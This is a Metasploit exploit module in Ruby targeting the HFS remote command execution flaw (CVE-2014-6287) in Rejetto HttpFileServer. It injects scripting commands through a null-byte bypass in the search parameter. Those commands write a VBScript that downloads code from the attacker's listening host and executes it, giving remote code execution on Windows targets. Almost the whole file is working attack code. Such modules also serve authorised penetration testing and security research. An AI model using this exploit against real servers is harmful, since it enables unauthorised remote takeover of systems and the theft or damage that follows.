122 lines
3.9 KiB
Ruby
122 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => "Rejetto HttpFileServer Remote Command Execution",
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'Description' => %q{
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Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a
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poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by
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using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b
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over Windows XP SP3, Windows 7 SP1 and Windows 8.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Daniele Linguaglossa <danielelinguaglossa[at]gmail.com>', # orginal discovery
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'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # metasploit module
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],
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'References' =>
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[
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['CVE', '2014-6287'],
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['OSVDB', '111386'],
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['URL', 'http://seclists.org/bugtraq/2014/Sep/85'],
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['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands']
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],
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'Payload' => { 'BadChars' => "\x0d\x0a\x00" },
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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],
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'Privileged' => false,
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'Stance' => Msf::Exploit::Stance::Aggressive,
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'DisclosureDate' => "Sep 11 2014",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
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OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]),
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], self.class)
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end
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def check
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res = send_request_raw({
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'method' => 'GET',
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'uri' => '/'
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})
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if res && res.headers['Server'] && res.headers['Server'] =~ /HFS ([\d.]+)/
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version = $1
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if Gem::Version.new(version) <= Gem::Version.new("2.3")
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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else
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return Exploit::CheckCode::Safe
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end
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end
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def on_request_uri(cli, req)
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print_status("#{peer} - Payload request received: #{req.uri}")
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exe = generate_payload_exe
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vbs = Msf::Util::EXE.to_exe_vbs(exe)
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send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'})
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# remove resource after serving 1st request as 'exec' execute 4x
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# during exploitation
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remove_resource(get_resource)
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end
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def primer
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file_name = rand_text_alpha(rand(10)+5)
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file_ext = '.vbs'
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file_full_name = file_name + file_ext
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vbs_path = "%TEMP%\\#{file_full_name}"
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vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a"
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vbs_code << "On Error Resume Next\x0d\x0a"
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vbs_code << "x.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0a"
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vbs_code << "If Err.Number <> 0 Then\x0d\x0a"
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vbs_code << "wsh.exit\x0d\x0a"
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vbs_code << "End If\x0d\x0a"
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vbs_code << "x.Send\x0d\x0a"
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vbs_code << "Execute x.responseText"
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payloads = [
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"save|#{vbs_path}|#{vbs_code}",
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"exec|wscript.exe //B //NOLOGO #{vbs_path}"
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]
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print_status("Sending a malicious request to #{target_uri.path}")
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payloads.each do |payload|
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send_request_raw({
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'method' => 'GET',
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'uri' => "/?search=%00{.#{URI::encode(payload)}.}"
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})
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end
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register_file_for_cleanup(vbs_path)
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end
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def exploit
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begin
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Timeout.timeout(datastore['HTTPDELAY']) { super }
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rescue Timeout::Error
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# When the server stops due to our timeout, this is raised
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end
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end
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end
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